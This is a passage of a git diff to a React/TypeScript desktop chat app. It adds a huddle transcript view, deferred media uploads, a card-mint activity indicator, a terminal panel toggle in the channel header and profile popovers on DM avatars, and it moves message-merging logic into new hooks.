 import { TypingIndicatorRow } from "@/features/messages/ui/TypingIndicatorRow";
@@ -31,6 +33,7 @@ export function ChannelComposerActivityAccessory({
   visible,
   workingBotPubkeys,
 }: ChannelComposerActivityAccessoryProps) {
+  const cardMintJobs = useCardMintJobs();
   return (
     <ComposerActivityAccessory
       className="px-5"
@@ -38,6 +41,7 @@ export function ChannelComposerActivityAccessory({
       visible={visible}
     >
       <div className="flex w-full items-center gap-2 overflow-visible pl-2">
+        {cardMintJobs.length > 0 ? <CardMintComposerChip /> : null}
         {workingBotPubkeys.length > 0 ? (
           <div className="flex min-w-0 flex-1 overflow-visible">
             <BotActivityComposerAction
diff --git a/desktop/src/features/channels/ui/ChannelMembersBar.tsx b/desktop/src/features/channels/ui/ChannelMembersBar.tsx
index 7b9bf2b79f..2debd9e7a9 100644
--- a/desktop/src/features/channels/ui/ChannelMembersBar.tsx
+++ b/desktop/src/features/channels/ui/ChannelMembersBar.tsx
@@ -165,8 +165,8 @@ export function ChannelMembersBar({
               members,
             }),
           );
-          // Refetch channels so the new ephemeral channel appears in the sidebar immediately
-          // (default poll interval is 60s — too slow for huddle UX).
+          // Keep the channel cache current so the ephemeral transcript is
+          // available immediately if the huddle returns to the in-app drawer.
           void queryClient.invalidateQueries({ queryKey: ["channels"] });
         } catch (e) {
           console.error("Failed to start huddle:", e);
diff --git a/desktop/src/features/channels/ui/ChannelPane.helpers.ts b/desktop/src/features/channels/ui/ChannelPane.helpers.ts
index a30ee24114..cb0600a28a 100644
--- a/desktop/src/features/channels/ui/ChannelPane.helpers.ts
+++ b/desktop/src/features/channels/ui/ChannelPane.helpers.ts
@@ -43,6 +43,20 @@ export function isWelcomeSetupSystemMessage(message: TimelineMessage) {
   }
 }
 
+export function isChannelCreatedSystemMessage(message: TimelineMessage) {
+  if (message.kind !== KIND_SYSTEM_MESSAGE) {
+    return false;
+  }
+
+  try {
+    return (
+      (JSON.parse(message.body) as { type?: string }).type === "channel_created"
+    );
+  } catch {
+    return false;
+  }
+}
+
 export function mentionsKnownAgent(
   mentionPubkeys: string[],
   knownAgentPubkeys: ReadonlySet<string>,
diff --git a/desktop/src/features/channels/ui/ChannelPane.tsx b/desktop/src/features/channels/ui/ChannelPane.tsx
index 70877875f7..9e5152edfe 100644
--- a/desktop/src/features/channels/ui/ChannelPane.tsx
+++ b/desktop/src/features/channels/ui/ChannelPane.tsx
@@ -4,6 +4,7 @@ import { AnimatePresence } from "motion/react";
 import { useAppNavigation } from "@/app/navigation/useAppNavigation";
 import { useMediaUpload } from "@/features/messages/lib/useMediaUpload";
 import { ComposerDockBackdrop } from "@/features/messages/ui/ComposerDockBackdrop";
+import { ComposerUploadProgressOverlay } from "@/features/messages/ui/ComposerUploadProgressOverlay";
 import { MessageComposer } from "@/features/messages/ui/MessageComposer";
 import { ComposerTimeoutBanner } from "@/features/moderation/ui/ComposerTimeoutBanner";
 import { useTimeoutState } from "@/features/moderation/lib/timeoutStore";
@@ -36,6 +37,7 @@ import { useThreadViewMode } from "@/features/channels/lib/threadViewModePrefere
 import { useThreadViewModeSwitch } from "@/features/channels/ui/useThreadViewModeSwitch";
 import { useFocusDrawerPresence } from "@/features/channels/ui/useFocusDrawerPresence";
 import { useChannelWorkingAgentPubkeys } from "@/features/agents/agentWorkingSignal";
+import { useCardMintJobs } from "@/features/agents/cardMintStore";
 import { BotActivityComposerAction } from "@/features/channels/ui/BotActivityBar";
 import { ChannelComposerActivityAccessory } from "@/features/channels/ui/ChannelComposerActivityAccessory";
 import {
@@ -47,16 +49,14 @@ import {
   WELCOME_PERSONA_ROTATION_MS,
   type WelcomeComposerBannerState,
 } from "@/features/channels/ui/WelcomeComposerBanner";
-import {
-  isWelcomeSetupSystemMessage,
-  mentionsKnownAgent,
-} from "@/features/channels/ui/ChannelPane.helpers";
+import { mentionsKnownAgent } from "@/features/channels/ui/ChannelPane.helpers";
+import { HuddleStartingView, HuddleTranscriptIntro } from "@/features/huddle";
 import { useChannelIntro } from "@/features/channels/ui/useChannelIntro";
 import type { ChannelPaneProps } from "@/features/channels/ui/ChannelPane.types";
 import * as agentSessionSelection from "@/features/channels/ui/agentSessionSelection";
 import { usePrepareDmSendChannel } from "@/features/channels/ui/usePrepareDmSendChannel";
+import { useChannelPaneMessages } from "@/features/channels/ui/useChannelPaneMessages";
 import { Button } from "@/shared/ui/button";
-import { buildMainTimelineEntries } from "@/features/messages/lib/threadPanel";
 import { useRenderScopedReactionHydration } from "@/features/messages/lib/useRenderScopedReactionHydration";
 import type { TimelineMessage } from "@/features/messages/types";
 import { isWelcomeExperienceChannel as isWelcomeExperience } from "@/features/onboarding/welcome";
@@ -64,6 +64,10 @@ import { KIND_SYSTEM_MESSAGE } from "@/shared/constants/kinds";
 import { useIsThreadPanelOverlay } from "@/shared/hooks/use-mobile";
 import { channelChrome } from "@/shared/layout/chromeLayout";
 import { cn } from "@/shared/lib/cn";
+const HUDDLE_TRANSCRIPT_ROOT_STYLE = {
+  "--buzz-channel-content-top-padding": "0rem",
+  "--channel-top-chrome-height": "0.25rem",
+} as React.CSSProperties;
 export const ChannelPane = React.memo(function ChannelPane({
   activeChannel,
   agentPubkeys,
@@ -82,6 +86,7 @@ export const ChannelPane = React.memo(function ChannelPane({
   hasOlderMessages,
   historyExhausted,
   isFetchingOlder,
+  isHuddleTranscript = false,
   followThreadById,
   isFollowingThread,
   isFollowingThreadById,
@@ -173,7 +178,9 @@ export const ChannelPane = React.memo(function ChannelPane({
     activeChannel,
     currentPubkey,
   );
-  const mainComposerMedia = useMediaUpload();
+  const mainComposerMedia = useMediaUpload({ deferUploadsUntilSend: true });
+  const [isMainDeferredEditPending, setMainDeferredEditPending] =
+    React.useState(false);
   const isNonMemberView =
     activeChannel !== null &&
     !activeChannel.isMember &&
@@ -190,13 +197,8 @@ export const ChannelPane = React.memo(function ChannelPane({
       channelPaneMountedRef.current = false;
     };
   }, []);
-  // Clear the ?autoSend search param once the auto-submit fires so
-  // back-navigation cannot re-trigger the send.
-  // When `onAutoSendComplete` is provided it does a surgical single-key clear
-  // that preserves `?thread` and all other panel search state (required for
-  // the thread-draft send path so the thread panel does not unmount before the
-  // deferred setTimeout(0) submit fires). The goChannel fallback is kept for
-  // callers that do not supply the prop (e.g. isolated tests / older wrappers).
+  // Clear only the auto-send key so thread state survives deferred submission;
+  // older wrappers fall back to goChannel to prevent back-navigation replay.
   const handleAutoSubmitComplete = React.useCallback(() => {
     if (onAutoSendComplete) {
       onAutoSendComplete();
@@ -229,15 +231,12 @@ export const ChannelPane = React.memo(function ChannelPane({
       welcomeComposerHideTimerRef.current = null;
     }
   }, []);
-
   React.useEffect(
     () => () => clearWelcomeComposerDismissTimer(),
     [clearWelcomeComposerDismissTimer],
   );
-
   React.useEffect(() => {
     clearWelcomeComposerDismissTimer();
-
     if (
       activeChannelId &&
       isActiveWelcomeChannel &&
@@ -246,14 +245,12 @@ export const ChannelPane = React.memo(function ChannelPane({
       setWelcomeComposerBannerState("hidden");
       return;
     }
-
     setWelcomeComposerBannerState("prompt");
   }, [
     activeChannelId,
     clearWelcomeComposerDismissTimer,
     isActiveWelcomeChannel,
   ]);
-
   const isEditInThread =
     editTarget != null &&
     threadHeadMessage != null &&
@@ -261,7 +258,6 @@ export const ChannelPane = React.memo(function ChannelPane({
       threadMessages.some((entry) => entry.message.id === editTarget.id));
   const mainEditTarget = editTarget && !isEditInThread ? editTarget : null;
   const threadEditTarget = editTarget && isEditInThread ? editTarget : null;
-
   const findLastOwnEditable = React.useCallback(
     (candidates: TimelineMessage[]): TimelineMessage | null => {
       if (!onEdit || !currentPubkey) return null;
@@ -282,7 +278,6 @@ export const ChannelPane = React.memo(function ChannelPane({
     },
     [onEdit, currentPubkey],
   );
-
   const handleEditLastOwnMainMessage = React.useCallback((): boolean => {
     const target = findLastOwnEditable(messages);
     if (!target || !onEdit) return false;
@@ -398,7 +393,10 @@ export const ChannelPane = React.memo(function ChannelPane({
     ],
   );
   const canDropInMainColumn =
-    hasMainComposerOverlay && !isComposerDisabled && !isSinglePanelView;
+    hasMainComposerOverlay &&
+    !isComposerDisabled &&
+    !isMainDeferredEditPending &&
+    !isSinglePanelView;
   const hasTypingActivity = typingPubkeys.length > 0;
   // Unified working set for the composer bar: observer-derived turns primary,
   // bot typing fallback (both folded together by agentWorkingSignal). This is
@@ -408,7 +406,9 @@ export const ChannelPane = React.memo(function ChannelPane({
     activeChannel?.id ?? null,
   );
   const hasComposerBotActivity = composerWorkingBotPubkeys.length > 0;
-  const hasComposerBottomActivity = hasComposerBotActivity || hasTypingActivity;
+  const hasCardMintActivity = useCardMintJobs().length > 0;
+  const hasComposerBottomActivity =
+    hasComposerBotActivity || hasTypingActivity || hasCardMintActivity;
   const threadComposerBotTypingPubkeys = React.useMemo(() => {
     if (!openThreadHeadId) return [];
     return botTypingEntries
@@ -439,7 +439,7 @@ export const ChannelPane = React.memo(function ChannelPane({
         messageTimelineRef.current?.scrollToBottomOnNextUpdate(),
     });
   }, [onAddAgent]);
-  const channelIntro = useChannelIntro({
+  const standardChannelIntro = useChannelIntro({
     activeChannel,
     onAddAgent,
     onBrowseChannels,
@@ -447,23 +447,14 @@ export const ChannelPane = React.memo(function ChannelPane({
     onOpenMembers,
     onWelcomeAddAgent: onAddAgent ? handleWelcomeAddAgent : undefined,
   });
-  const visibleMessages = React.useMemo(() => {
-    if (!isWelcomeExperience(activeChannel)) {
-      return messages;
-    }
-
-    return messages.filter((message) => !isWelcomeSetupSystemMessage(message));
-  }, [activeChannel, messages]);
-  const mainTimelineEntries = React.useMemo(
-    () =>
-      buildMainTimelineEntries(
-        visibleMessages,
-        new Set(),
-        threadSummaries,
-        profiles,
-      ),
-    [profiles, threadSummaries, visibleMessages],
-  );
+  const channelIntro = isHuddleTranscript ? null : standardChannelIntro;
+  const { mainTimelineEntries, visibleMessages } = useChannelPaneMessages({
+    activeChannel,
+    isHuddleTranscript,
+    messages,
+    profiles,
+    threadSummaries,
+  });
   useRenderScopedReactionHydration({
     activeChannel,
     mainTimelineEntries,
@@ -580,9 +571,14 @@ export const ChannelPane = React.memo(function ChannelPane({
     isSinglePanelView,
     useSplitAuxiliaryPane,
   });
+  const timelineReplyHandler =
+    activeChannel?.archivedAt || isHuddleTranscript ? undefined : onOpenThread;
   return (
-    <div className="relative flex min-h-0 min-w-0 flex-1 flex-row overflow-hidden">
-      {!isSinglePanelView ? (
+    <div
+      className="relative flex min-h-0 min-w-0 flex-1 flex-row overflow-hidden"
+      style={isHuddleTranscript ? HUDDLE_TRANSCRIPT_ROOT_STYLE : undefined}
+    >
+      {!isSinglePanelView && !isHuddleTranscript ? (
         <div
           aria-hidden="true"
           className={cn(
@@ -616,7 +612,7 @@ export const ChannelPane = React.memo(function ChannelPane({
               : undefined
           }
         >
-          {header}
+          {isHuddleTranscript ? null : header}
           {channelFind.isOpen ? (
             <div className={cn("absolute inset-x-0 z-40", channelChrome.top)}>
               <ChannelFindBar
@@ -642,6 +638,12 @@ export const ChannelPane = React.memo(function ChannelPane({
             hasComposerOverlay={hasMainComposerOverlay}
             hasOlderMessages={hasOlderMessages}
             historyExhausted={historyExhausted}
+            hideDayDividers={isHuddleTranscript}
+            alwaysShowMessageIdentity={isHuddleTranscript}
+            hideAgentAccessBadges={isHuddleTranscript}
+            pinnedIntro={
+              isHuddleTranscript ? <HuddleTranscriptIntro /> : undefined
+            }
             huddleMemberPubkeys={huddleMemberPubkeys}
             huddleMemberPubkeysPending={huddleMemberPubkeysPending}
             isFetchingOlder={isFetchingOlder}
@@ -663,7 +665,7 @@ export const ChannelPane = React.memo(function ChannelPane({
                   : "No messages yet"
                 : "No channel selected"
             }
-            isLoading={isTimelineLoading}
+            isLoading={isHuddleTranscript ? false : isTimelineLoading}
             entranceMessageId={entranceMessageId}
             onEntranceMessageComplete={onEntranceMessageComplete}
             mainEntries={mainTimelineEntries}
@@ -675,7 +677,8 @@ export const ChannelPane = React.memo(function ChannelPane({
             onEdit={onEdit}
             onMarkUnread={onMarkUnread}
             onMarkRead={onMarkRead}
-            onReply={activeChannel?.archivedAt ? undefined : onOpenThread}
+            onReply={timelineReplyHandler}
+            onOpenThread={isHuddleTranscript ? undefined : onOpenThread}
             channelName={activeChannel?.name}
             channelType={activeChannel?.channelType ?? null}
             isSendingVideoReviewComment={isSending}
@@ -727,6 +730,7 @@ export const ChannelPane = React.memo(function ChannelPane({
               data-testid="channel-composer-overlay"
               ref={composerWrapperRef}
             >
+              <ComposerUploadProgressOverlay />
               <div
                 className={cn(
                   "composer-dock composer-overlay-corner-masks relative pointer-events-auto",
@@ -759,6 +763,7 @@ export const ChannelPane = React.memo(function ChannelPane({
                   onAutoSubmitComplete={handleAutoSubmitComplete}
                   isSending={isSending}
                   mediaController={mainComposerMedia}
+                  onDeferredEditPendingChange={setMainDeferredEditPending}
                   onCancelEdit={onCancelEdit}
                   onEditLastOwnMessage={handleEditLastOwnMainMessage}
                   onEditSave={onEditSave}
@@ -769,6 +774,7 @@ export const ChannelPane = React.memo(function ChannelPane({
                   }
                   onSend={handleSendMessage}
                   profiles={profiles}
+                  showBackgroundUploadProgress={false}
                   placeholder={
                     timeoutState.active
                       ? "You're timed out by community moderators."
@@ -848,6 +854,7 @@ export const ChannelPane = React.memo(function ChannelPane({
                 firstUnreadReplyId={threadFirstUnreadReplyId}
                 huddleMemberPubkeys={huddleMemberPubkeys}
                 huddleMemberPubkeysPending={huddleMemberPubkeysPending}
+                isHuddleTranscript={isHuddleTranscript}
                 isFollowingThread={isFollowingThread}
                 isMessageUnreadById={isMessageUnreadById}
                 isSending={isSending}
@@ -907,6 +914,9 @@ export const ChannelPane = React.memo(function ChannelPane({
           })()
         ) : shouldShowThreadSkeleton ? (
           (() => {
+            if (isHuddleTranscript) {
+              return wrapThreadPanel(<HuddleStartingView />);
+            }
             const panel = (
               <MessageThreadPanelSkeleton
                 {...threadLayoutProps}
diff --git a/desktop/src/features/channels/ui/ChannelPane.types.ts b/desktop/src/features/channels/ui/ChannelPane.types.ts
index 7257d8cd55..763b8bf379 100644
--- a/desktop/src/features/channels/ui/ChannelPane.types.ts
+++ b/desktop/src/features/channels/ui/ChannelPane.types.ts
@@ -49,6 +49,8 @@ export type ChannelPaneProps = {
   /** True when the loaded window provably starts at the channel's beginning. */
   historyExhausted?: boolean;
   isFetchingOlder?: boolean;
+  /** A companion huddle window presents the channel only as a transcript. */
+  isHuddleTranscript?: boolean;
   isJoining?: boolean;
   isSinglePanelView?: boolean;
   isSending: boolean;
diff --git a/desktop/src/features/channels/ui/ChannelScreen.tsx b/desktop/src/features/channels/ui/ChannelScreen.tsx
index b4d33b4776..8666394938 100644
--- a/desktop/src/features/channels/ui/ChannelScreen.tsx
+++ b/desktop/src/features/channels/ui/ChannelScreen.tsx
@@ -34,7 +34,6 @@ import { useWelcomeKickoffStagePresence } from "@/features/onboarding/useWelcome
 import { useWelcomeAgentCreate } from "@/features/channels/useWelcomeAgentCreate";
 import { useCommunities } from "@/features/communities/useCommunities";
 import {
-  mergeMessages,
   useChannelMessagesQuery,
   useChannelSubscription,
   useChannelWindowQuery,
@@ -44,13 +43,9 @@ import {
   useToggleReactionMutation,
 } from "@/features/messages/hooks";
 import { formatTimelineMessages } from "@/features/messages/lib/formatTimelineMessages";
-import {
-  channelWindowThreadSummaries,
-  type ChannelWindowThreadSummary,
-} from "@/features/messages/lib/channelWindowStore";
 import { DeleteMessageConfirmDialog } from "@/features/messages/ui/DeleteMessageConfirmDialog";
-import { getThreadReference } from "@/features/messages/lib/threading";
 import { imetaMediaFromTags } from "@/features/messages/lib/imetaMediaMarkdown";
+import { getThreadReference } from "@/features/messages/lib/threading";
 import {
   resolveTimelineLoadingLatch,
   selectTimelineLoadingState,
@@ -64,7 +59,13 @@ import { useUsersBatchQuery } from "@/features/profile/hooks";
 import { useRelaySelfQuery } from "@/features/moderation/hooks";
 import type { RelayEvent, RespondToMode, SearchHit } from "@/shared/api/types";
 import { useChannelFind } from "@/features/search/useChannelFind";
-import { ViewLoadingFallback } from "@/shared/ui/ViewLoadingFallback";
+import { ChannelScreenLoadingFallback } from "@/features/channels/ui/ChannelScreenLoadingFallback";
+import {
+  useHuddleChannelMessages,
+  useIsHuddleTranscript,
+} from "@/features/channels/ui/useHuddleChannelMessages";
+import { useHuddleReadMarker } from "@/features/channels/ui/useHuddleReadMarker";
+import { useHuddleThreadIsolation } from "@/features/channels/ui/useHuddleThreadIsolation";
 import { AgentSessionProvider } from "@/shared/context/AgentSessionContext";
 import { ProfilePanelProvider } from "@/shared/context/ProfilePanelContext";
 import { useMainInsetRef } from "@/shared/layout/MainInsetContext";
@@ -80,6 +81,7 @@ import { useMessageProfiles } from "./useMessageProfiles";
 import { useChannelPanelHistoryState } from "./useChannelPanelHistoryState";
 import { useChannelProfilePanel } from "./useChannelProfilePanel";
 import { useChannelRouteTarget } from "./useChannelRouteTarget";
+import { useChannelOpenReadState } from "./useChannelOpenReadState";
 import { useChannelUnreadState } from "./useChannelUnreadState";
 import type { ChannelScreenProps } from "./ChannelScreen.types";
 const HEADER_ACTIONS_COMPACT_BREAKPOINT_PX = 760,
@@ -99,6 +101,7 @@ export function ChannelScreen({
   const { goHome } = useAppNavigation();
   const { activeCommunity } = useCommunities();
   const {
+    clearChannelUnreadSource,
     markChannelRead,
     markChannelUnread,
     getChannelReadAt,
@@ -112,6 +115,7 @@ export function ChannelScreen({
     unfollowThread,
     isFollowingThread,
     isNotifiedForThread,
+    recordThreadInteraction,
     isThreadMuted,
     readStateVersion,
   } = useAppShell();
@@ -133,16 +137,16 @@ export function ChannelScreen({
     setProfilePanelPubkey,
     setProfilePanelView,
   } = useChannelPanelHistoryState();
+  const [channelContentRef, channelContentWidthPx] =
+    useElementWidth<HTMLDivElement>();
   const {
     canReset: canResetThreadPanelWidth,
     onResetWidth: handleThreadPanelWidthReset,
     onResizeStart: handleThreadPanelResizeStart,
     widthPx: threadPanelWidthPx,
-  } = useThreadPanelWidth();
+  } = useThreadPanelWidth(channelContentWidthPx || undefined);
   const [isMembersSidebarOpen, setIsMembersSidebarOpen] = React.useState(false);
   const [isAddBotOpen, setIsAddBotOpen] = React.useState(false);
-  const [channelContentRef, channelContentWidthPx] =
-    useElementWidth<HTMLDivElement>();
   const [expandedThreadReplyIds, setExpandedThreadReplyIds] = React.useState(
     () => new Set<string>(),
   );
@@ -153,7 +157,6 @@ export function ChannelScreen({
     string | null
   >(null);
   const [editTargetId, setEditTargetId] = React.useState<string | null>(null);
-  // URL-backed thread state catches up after navigation; this override keeps urgent open/close renders responsive.
   const [optimisticOpenThreadHeadId, setOptimisticOpenThreadHeadId] =
     React.useState<string | null | undefined>(undefined);
   const clearOptimisticThreadOverride = React.useCallback(() => {
@@ -162,11 +165,14 @@ export function ChannelScreen({
   const mainInsetRef = useMainInsetRef();
   const currentPubkey = currentIdentity?.pubkey;
   const activeChannelId = activeChannel?.id ?? null;
+  const isHuddleTranscript = useIsHuddleTranscript(activeChannelId);
   const relaySelfPubkey = useRelaySelfQuery(activeChannel !== null).data;
-  const effectiveOpenThreadHeadId =
-    optimisticOpenThreadHeadId === undefined
-      ? openThreadHeadId
-      : optimisticOpenThreadHeadId;
+  const effectiveOpenThreadHeadId = useHuddleThreadIsolation({
+    closeThread: setOpenThreadHeadId,
+    isHuddleTranscript,
+    openThreadHeadId,
+    optimisticOpenThreadHeadId,
+  });
   const isNotifiedForEffectiveThread =
     effectiveOpenThreadHeadId != null
       ? isNotifiedForThread(effectiveOpenThreadHeadId)
@@ -207,12 +213,11 @@ export function ChannelScreen({
   const activeReadAt = latestActiveMessage
     ? new Date(latestActiveMessage.created_at * 1_000).toISOString()
     : null;
-  React.useEffect(() => {
-    if (!activeChannelId || activeChannel?.isMember === false) {
-      return;
-    }
-    markChannelRead(activeChannelId, activeReadAt, { topLevelOnly: true });
-  }, [activeChannel?.isMember, activeChannelId, activeReadAt, markChannelRead]);
+  useChannelOpenReadState(
+    activeChannelId,
+    activeChannel?.isMember,
+    activeReadAt,
+  );
   React.useEffect(() => {
     if (!activeChannelId) {
       setContextParentResolver(null);
@@ -241,18 +246,26 @@ export function ChannelScreen({
   const editMessageMutation = useEditMessageMutation(activeChannel);
   const joinChannelMutation = useJoinChannelMutation(activeChannelId);
   const [findEvents, setFindEvents] = React.useState<RelayEvent[]>([]);
-  // biome-ignore lint/correctness/useExhaustiveDependencies: clear spliced find results exactly when the active channel changes.
+  // biome-ignore lint/correctness/useExhaustiveDependencies: intentional
   React.useEffect(() => {
     setFindEvents([]);
   }, [activeChannelId]);
-  const resolvedMessages = React.useMemo(() => {
-    const currentMessages = messagesQuery.data ?? [];
-    const extraEvents = [...targetMessageEvents, ...findEvents];
-    if (!activeChannel || extraEvents.length === 0) {
-      return currentMessages;
-    }
-    return extraEvents.reduce(mergeMessages, currentMessages);
-  }, [activeChannel, findEvents, messagesQuery.data, targetMessageEvents]);
+  const { resolvedMessages, threadSummaries } = useHuddleChannelMessages({
+    activeChannel,
+    findEvents,
+    isHuddleTranscript,
+    messages: messagesQuery.data ?? EMPTY_RELAY_EVENTS,
+    targetMessageEvents,
+    windowStore: windowQuery.data,
+  });
+  useHuddleReadMarker({
+    activeChannelId,
+    activeChannelIsMember: activeChannel?.isMember,
+    isHuddleTranscript,
+    markChannelRead,
+    messages: messagesQuery.data,
+    resolvedMessages,
+  });
   const threadReplyEvents = threadRepliesQuery.data ?? EMPTY_RELAY_EVENTS;
   const {
     entranceMessageId: welcomeEntranceMessageId,
@@ -262,7 +275,6 @@ export function ChannelScreen({
     resolvedMessages,
     threadReplyEvents,
   );
-
   const messageEventProfilePubkeys = useMessageEventProfilePubkeys(
     resolvedMessages,
     threadReplyEvents,
@@ -355,11 +367,6 @@ export function ChannelScreen({
     relayAgents,
   });
   const messageOwnerProfiles = useMessageOwnerProfiles(messageProfiles);
-  // Agent set for ChannelPane's own consumers (DM huddle member resolution,
-  // the agents list): the community-scoped baseline shared by every surface,
-  // widened with channel-member roles and this screen's profile lookup.
-  // Message rows no longer take this — MessageRow derives agent-ness itself
-  // from useKnownAgentPubkeys + per-pubkey profile checks.
   const communityAgentPubkeys = useKnownAgentPubkeys();
   const agentPubkeys = React.useMemo(() => {
     const pubkeys = new Set([...communityAgentPubkeys, ...knownAgentPubkeys]);
@@ -413,14 +420,6 @@ export function ChannelScreen({
       resolvedMessages,
     ],
   );
-  const threadSummaries: ReadonlyMap<string, ChannelWindowThreadSummary> =
-    React.useMemo(
-      () =>
-        windowQuery.data
-          ? channelWindowThreadSummaries(windowQuery.data)
-          : new Map(),
-      [windowQuery.data],
-    );
   const handleFindSearchHit = React.useCallback((hit: SearchHit) => {
     const event = cacheSearchHitEvent(hit);
     setFindEvents((currentEvents) =>
@@ -472,6 +471,7 @@ export function ChannelScreen({
     threadReplyTargetId,
     expandedThreadReplyIds,
     openThreadMessages: threadPanelData.visibleReplies,
+    clearChannelUnreadSource,
     getChannelReadAt,
     getMessageReadAt,
     markChannelUnread,
@@ -484,8 +484,6 @@ export function ChannelScreen({
       timelineMessages.find((message) => message.id === editTargetId) ?? null,
     [editTargetId, timelineMessages],
   );
-  // Event id awaiting the empty-edit "Delete message?" confirmation (non-null
-  // while the dialog is open); see handleEditSave.
   const [emptyDeleteId, setEmptyDeleteId] = React.useState<string | null>(null);
   const {
     handleCancelEdit,
@@ -508,6 +506,7 @@ export function ChannelScreen({
     getFirstReplyIdForMessage,
     getReplyDescendantIdsForMessage,
     markRevealedRepliesRead,
+    recordThreadInteraction,
     openThreadHeadId: effectiveOpenThreadHeadId,
     onOptimisticOpenThreadHeadIdChange: setOptimisticOpenThreadHeadId,
     onRequestEmptyEditDelete: setEmptyDeleteId,
@@ -688,7 +687,6 @@ export function ChannelScreen({
     threadReplyTargetId,
     threadReplyTargetMessage,
   });
-
   const hasAuxiliaryPanel = Boolean(
     effectiveOpenThreadHeadId ||
       openAgentSessionPubkey ||
@@ -722,18 +720,15 @@ export function ChannelScreen({
     resetKey: activeChannelId,
     enabled: !isSinglePanelView,
   });
-
   const handleManageChannel = React.useCallback(() => {
     if (activeChannel?.channelType === "forum") {
       openGlobalChannelManagement();
       return;
     }
-
     if (channelManagementOpen) {
       setChannelManagementOpen(false);
       return;
     }
-
     setOpenThreadHeadId(null);
     setExpandedThreadReplyIds(new Set());
     setThreadScrollTargetId(null);
@@ -754,7 +749,6 @@ export function ChannelScreen({
     () => setIsMembersSidebarOpen((prev) => !prev),
     [],
   );
-
   const channelHeader = React.useMemo(
     () => (
       <ChannelScreenHeader
@@ -773,7 +767,7 @@ export function ChannelScreen({
         onJoinChannel={joinChannelMutation.mutateAsync}
         onManageChannel={handleManageChannel}
         onToggleMembers={handleToggleMembers}
-        showHeaderContent={!isSinglePanelView}
+        showHeaderContent={!isSinglePanelView && !isHuddleTranscript}
         transparentChrome={activeChannel?.channelType !== "forum"}
       />
     ),
@@ -793,6 +787,7 @@ export function ChannelScreen({
       handleManageChannel,
       handleToggleMembers,
       isSinglePanelView,
+      isHuddleTranscript,
     ],
   );
   return (
@@ -849,7 +844,11 @@ export function ChannelScreen({
               />
             ) : (
               <React.Suspense
-                fallback={<ViewLoadingFallback includeHeader kind="channel" />}
+                fallback={
+                  <ChannelScreenLoadingFallback
+                    isHuddleTranscript={isHuddleTranscript}
+                  />
+                }
               >
                 <ChannelPane
                   activeChannel={activeChannel}
@@ -873,6 +872,7 @@ export function ChannelScreen({
                   onCreateChannel={openCreateChannel}
                   onOpenMembers={handleOpenMembersSidebar}
                   isFetchingOlder={isFetchingOlder}
+                  isHuddleTranscript={isHuddleTranscript}
                   entranceMessageId={welcomeEntranceMessageId}
                   onEntranceMessageComplete={handleWelcomeEntranceComplete}
                   welcomeKickoffStage={welcomeKickoffStage}
diff --git a/desktop/src/features/channels/ui/ChannelScreenHeader.tsx b/desktop/src/features/channels/ui/ChannelScreenHeader.tsx
index a3a8a20231..358a0e637b 100644
--- a/desktop/src/features/channels/ui/ChannelScreenHeader.tsx
+++ b/desktop/src/features/channels/ui/ChannelScreenHeader.tsx
@@ -1,4 +1,4 @@
-import { LogIn } from "lucide-react";
+import { LogIn, SquareTerminal } from "lucide-react";
 import type * as React from "react";
 
 import { ChatHeader } from "@/features/chat/ui/ChatHeader";
@@ -13,9 +13,14 @@ import {
   ProfileAvatarWithStatus,
   scaleProfileAvatarStatusGeometry,
 } from "@/features/profile/ui/ProfileAvatarWithStatus";
+import { UserProfilePopover } from "@/features/profile/ui/UserProfilePopover";
 import { Button } from "@/shared/ui/button";
 import type { Channel, PresenceStatus } from "@/shared/api/types";
 import { UserAvatar } from "@/shared/ui/UserAvatar";
+import {
+  toggleTerminalPanel,
+  useTerminalPanel,
+} from "@/features/terminal/terminalPanelStore";
 
 const DM_HEADER_AVATAR_SIZE = 32;
 const DM_HEADER_AVATAR_STATUS_GEOMETRY = scaleProfileAvatarStatusGeometry(
@@ -65,6 +70,7 @@ export function ChannelScreenHeader({
   const isGroupDm =
     activeChannel?.channelType === "dm" &&
     activeDmHeaderParticipants.length > 1;
+  const activeDmParticipant = activeDmHeaderParticipants[0] ?? null;
   const showJoinButton =
     activeChannel !== null &&
     !activeChannel.isMember &&
@@ -72,7 +78,22 @@ export function ChannelScreenHeader({
     !activeChannel.archivedAt &&
     onJoinChannel;
 
-  const actions = activeChannel ? (
+  const terminalPanel = useTerminalPanel();
+  const terminalButton = activeChannel ? (
+    <Button
+      aria-label={
+        terminalPanel.mode === "closed" ? "Open Buzz Term" : "Hide Buzz Term"
+      }
+      onClick={toggleTerminalPanel}
+      size="icon"
+      title="Buzz Term (⌘J)"
+      type="button"
+      variant={terminalPanel.mode === "closed" ? "outline" : "secondary"}
+    >
+      <SquareTerminal />
+    </Button>
+  ) : null;
+  const channelActions = activeChannel ? (
     showJoinButton ? (
       <Button
         disabled={isJoining}
@@ -95,6 +116,12 @@ export function ChannelScreenHeader({
       />
     )
   ) : null;
+  const actions = activeChannel ? (
+    <div className="flex items-center gap-1">
+      {terminalButton}
+      {channelActions}
+    </div>
+  ) : null;
 
   if (!showHeaderContent) {
     return null;
@@ -113,6 +140,25 @@ export function ChannelScreenHeader({
             <DmHeaderParticipantStack
               participants={activeDmHeaderParticipants}
             />
+          ) : activeDmParticipant ? (
+            <UserProfilePopover
+              pubkey={activeDmParticipant.pubkey}
+              triggerAriaLabel={`Open profile for ${activeChannelTitle}`}
+              triggerElement="span"
+            >
+              <ProfileAvatarWithStatus
+                avatarClassName="text-xs"
+                avatarUrl={activeDmAvatarUrl}
+                className="mr-1.5 h-8 w-8"
+                geometry={DM_HEADER_AVATAR_STATUS_GEOMETRY}
+                iconClassName="h-4 w-4"
+                label={activeChannelTitle}
+                size={DM_HEADER_AVATAR_SIZE}
+                status={activeDmPresenceStatus ?? "offline"}
+                statusTestId="chat-presence-badge"
+                testId="chat-header-dm-avatar"
+              />
+            </UserProfilePopover>
           ) : (
             <ProfileAvatarWithStatus
               avatarClassName="text-xs"
@@ -152,31 +198,36 @@ function DmHeaderParticipantStack({
 
   return (
     <div
-      aria-hidden="true"
       className="mr-1.5 flex shrink-0 items-center"
       data-testid="chat-header-dm-avatar-stack"
     >
       {visibleParticipants.map((participant, index) => (
-        <div
-          className={index > 0 ? "-ml-2" : ""}
-          data-testid="chat-header-dm-avatar-stack-participant"
+        <UserProfilePopover
           key={participant.pubkey}
-          style={{
-            zIndex: index + 1,
-            ...(index < stackItemCount - 1 && {
-              mask: "radial-gradient(circle 18px at calc(100% + 4px) 50%, transparent 99%, #fff 100%)",
-              WebkitMask:
-                "radial-gradient(circle 18px at calc(100% + 4px) 50%, transparent 99%, #fff 100%)",
-            }),
-          }}
